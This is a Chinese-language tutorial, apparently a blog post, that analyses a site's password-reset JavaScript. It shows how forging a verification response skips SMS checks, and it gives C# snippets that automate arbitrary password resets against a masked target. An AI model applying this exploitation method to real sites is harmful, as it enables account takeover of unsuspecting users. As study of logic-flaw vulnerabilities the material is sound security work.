如何使用C sharp编写一个逻辑漏洞自动化利用工具
如何使用C sharp编写一个逻辑漏洞自动化利用工具
扫描器的优点很多,但是缺点就是无法挖掘逻辑漏洞
我们今天就来尝试使用C sharp编写一个逻辑漏洞自动化利用工具
首先我们来找到一个可能利用的点
进行全面分析
如
我们可以看到是找回密码的一个点
如果利用成功,可能就会造成任意密码重置漏洞
这里提示输入会员名,手机号,这里我们可以尝试分析
寻找可能存在的用户名,手机号,手机号一般情况下可以使用13888888888来代替
用户名可以选择处常用的 test,admin,1234,123456等来寻找
我们就输入111111
当我们输入111111的时候,发现这里出现了手机号,我们这时候要分析
任意密码重置漏洞的一些特点
1,取用户查询,query,然后发送验证码,得到验证码,输入,重置密码
这是一个动作
相当于是第一步,第二步,第三步,第四步的一个过程
我们这时候,先尝试打开源代码
找到helpjs文件,点击打开,先分析一下他的验证过程
function SendMobileCode(mobile) { i = 60; //手机验证 $.get("/member/ashx/Valite.ashx?s=SendMobile&Mobile=" + escape(mobile) + "&date=" + Math.random() + "&t=3", function (f) { if (f == 0) { mobileCode(mobile); } else if (f == 1) { alert('手机号码错误'); return false; } else if (f == 2) { alert('该手机本天已经发过5次'); return false; } else if (f == 3) { alert('该手机号码已被锁定,请和客服联系!'); return false; } else { alert('发送失败'); return false; } }) } function mobileCode(mobile) { i--; if (i <=0) { $("#timer1").html("没有收到?您可以:<a href=\"javascript:;\" onclick=\"SendMobileCode('" + mobile + "')\">" + i + "s后重发验证短信</a>(每天限发送5条验证码短信)"); return; } else { $("#timer1").html("没有收到?您可以:<a href=\"javascript:;\">" + i + "s后重发验证短信</a>(每天限发送5条验证码短信)"); } $(".timer1").show(); setTimeout("mobileCode('" + mobile + "')", 1000);
这里我们可以看到是手机验证,那么当前用户是没有手机号的,我们要做的就是利用他手机号码这个功能点,进行绕过
这里使用了randow随机方法
member/ashx/Valite.ashx?s=SendMobile&Mobile=
moBLIE 参数就是取用户的手机号
if (f == 0) { mobileCode(mobile); } else if (f == 1) { alert('手机号码错误'); return false; } else if (f == 2) { alert('该手机本天已经发过5次'); return false; } else if (f == 3) { alert('该手机号码已被锁定,请和客服联系!'); return false; } else { alert('发送失败'); return false;
这里只是简单判断了验证状态,function变量F,正确可以看到是0
if (f == 0) { mobileCode(mobile);
写的很简单,分析是可以逃过的
再往下看
function SendEmail(username) { j = 60; //邮箱验证 $.get("/member/ashx/Valite.ashx?s=ResetPwd&username=" + escape(username) + "&date=" + Math.random(), function (f) { if (f == "true") { $(".yxyz:eq(0)").hide(); $(".yxyz:eq(1)").show(); emailcode(username); } else { alert("您今天已发送了5封重置密码邮件!"); return false; } }); }
这里是取邮箱验证的,同样写的很简单,判断如果function变量的F等于true那就直接验证成功
否则,弹出警告信息
目前我们经过分析,已经得到了一些信息
就是验证第一步=0
验证等于true,否则就弹出错误信息
接着我们还是需要往下看
function NextPwd(mobile, username, des) { var usercode = $("#txtVC").val(); $.get("/member/ashx/Valite.ashx?s=ValiteCode&Mobile=" + escape(mobile) + "&Code=" + escape(usercode) + "&date=" + Math.random(), function (f) { if ($.trim(f) == "1") { $("#txtVCValite").html(""); window.location.href = "/member/pwdhelpstep2.aspx?action=member_userpwd_mobile&username=" + des } else { $("#txtVCValite").html("<div class=\"zcTx03\">您输入的验证码不正确,请重新输入。</div>"); return false; } }) } function EditorPwd() { pwStrength(this.value); CheckPwd('TxtPassi'); CheckPwd2('TxtPassii'); var username = $("#uName").val(); var pwd = $("#TxtPassi").val(); $.get("/member/ashx/Valite.ashx?s=UpdatePwd&username=" + escape(username) + "&pwd=" + escape(pwd) + "&date=" + Math.random(), function (f) { if ($.trim(f) == "true") { window.location.href = "/member/pwdhelpstep3-" + escape(username) + ".html" } else { alert("操作失败,请重试!"); return false; } }) }
注意这两段代码
是分别取第三步和第四步验证的
我们需要理清思路
首先看第一段
注意这里
if ($.trim(f) == "1") { $("#txtVCValite").html(""); window.location.href = "/member/pwdhelpstep2.aspx?action=member_userpwd_mobile&username=" + des
判断当前回显结果为1,那么就跳到第三步
function EditorPwd() { pwStrength(this.value); CheckPwd('TxtPassi'); CheckPwd2('TxtPassii'); var username = $("#uName").val(); var pwd = $("#TxtPassi").val(); $.get("/member/ashx/Valite.ashx?s=UpdatePwd&username=" + escape(username) + "&pwd=" + escape(pwd) + "&date=" + Math.random(), function (f) { if ($.trim(f) == "true") { window.location.href = "/member/pwdhelpstep3-" + escape(username) + ".html"
这里是第四步,新密码操作,这里只是简单写了一个新密码重置判断,如果等于true,既修改成功
那么思路大致我们都有了
我们就继续回到第二步,这里是一个回退方法
我们通常研究漏洞的时候,需要进行回退
也就是第三步,回到第二步,或者第四步回到第三步这样去分析,主要目的就是为了分析他的验证过程
这里很明显是没有手机号的,而我们需要做的就是绕过它的验证,直接重置密码
我们首先输入123456
这里是肯定提示错误的验证码,我们现在可以使用burp进行抓包,发送到response功能
提交到发现是0
然后直接发送一下
我们直接打开源代码:查找错误信息:
定位到您输入的验证码不正确,请重新输入
我们发现正确的验证是1
我们就修改一为1
在实际编程中,我们也可以编写这种,二次发包,什么意思呢
就是我们先使用第一次发包,先读到数据,然后再进行数据叠合,二次发包,把二次发包的结果再读回来
点击确定
我们发现直接就可以重置密码了,证明漏洞利用成功
接下来我们把密码重置为123456
点击确定
修改成功,然后我们登陆看看
那么我们有了这个思路,回到正题
C sharp编写一个逻辑漏洞自动化利用工具呢
也就是让工具帮我们自动完成第二步,第三步,直接到第四步
首先我们编写这种工具需要注意几个问题就好了
就是我们先观察他的每一步执行参数是如何的
首先我们回到第一步
我们查找用户111111
注意参数的变化,这里有一串加密的值,我们可以理解为key
也就是说每查询到一个用户都会以KEY来代替
那么当前我们查找的是111111用户
我们需要抓包分析一下
发现是 GET方法去传的
那么思路就很清晰了
第一步我们就是在c sharp中,建立一个用户输入的框
之前我们使用了httpwebquest方法编写了一个log4jexp的案例
我们需要准备一个richtextbox控件来接收用户的key
在编写之前,我们首先抓包回显一下数据构成
这里就是用户的key了
我们现在只需要把用户传的参数记录下来就可以了
在这里member/ashx/Valite.ashx?s=isusername1&username=111111
username参数就是我们传的值
那么KEY回显就是这个数据
那么第一步思路我们有了
我们先来写第一步的思路
WebRequest Request = WebRequest.Create("http://XXX//member/ashx/Valite.ashx?s=isusername1&username="+textBox1.Text);
先写第一步
同样我们需要来读到他的数据
StreamReader Reader = new StreamReader(Response.GetResponseStream(),Encoding.GetEncoding("GB2312"));
string str = Reader.ReadToEnd();
然后读到的数据,用 rich控件接收,然后进行去重处理
这里写一个捕获异常TRY
然后来调试一下
第一步我们完成了,接下来,我们一步一步走,观察第二步是怎么调用参数的
pwdhelpstep1-XX-1.html
我们来到验证码这里
我们已经知道,不用发验证码就可以重置密码,那么,就直接使用绕过的办法,把0改成1即可
注意提交这里
我们注意参数
截取一段
pwdhelpstep2.aspx?action=member_userpwd_mobile&username=KEY
那么我们大概就知道应该怎么写了
也就是先读到然后再配合参数USERNAME的KEY,进行一键重置密码
接下来就方便多了
我们只需要把读到的KEY和这一段参数叠合,不就可以重置密码了吗
那么应该怎么写呢
我们直接使用一个webbrowser控件来配合即可
然后写上
MessageBox.Show(" KEY一键叠合中,正在进行重置,请稍等...");
webBrowser1.Navigate("http://XXX/member/pwdhelpstep2.aspx?action=member_userpwd_mobile&username=" + KEY);
先读到KEY,叠合数据,然后一键重置,工具就可以帮我们实现了
不需要我们再手动进行抓包了
我们来测试一下
输入我们要重置的密码,123456
成功修改密码,漏洞利用完成...
<< 上一篇
下一篇 >>